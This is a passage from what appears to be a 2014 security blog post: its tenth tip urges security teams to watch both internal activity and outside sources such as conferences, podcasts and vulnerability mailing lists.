Tip #10 - PAY ATTENTION - Teams cannot be stuck in their own little fantasy world, thinking about only their company, their projects, and their day to day tasks. A good team must pay attention to everything going on both inside and out. How can we do that? Of course internal log aggregation, change control board meetings, and project statuses will keep you abreast internally. Also consider that a good team needs to get out too ... to conferences, listening to podcasts, reading blogs, subscribing to mailing lists for vulnerabilities and patches ... and being able to PAY ATTENTION to what's going on in the real-world ... because that's where the attackers live.
Props to Ted Demopoulos for inspiring me to write this post with his awesome talk as SANS @ night in Chicago
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)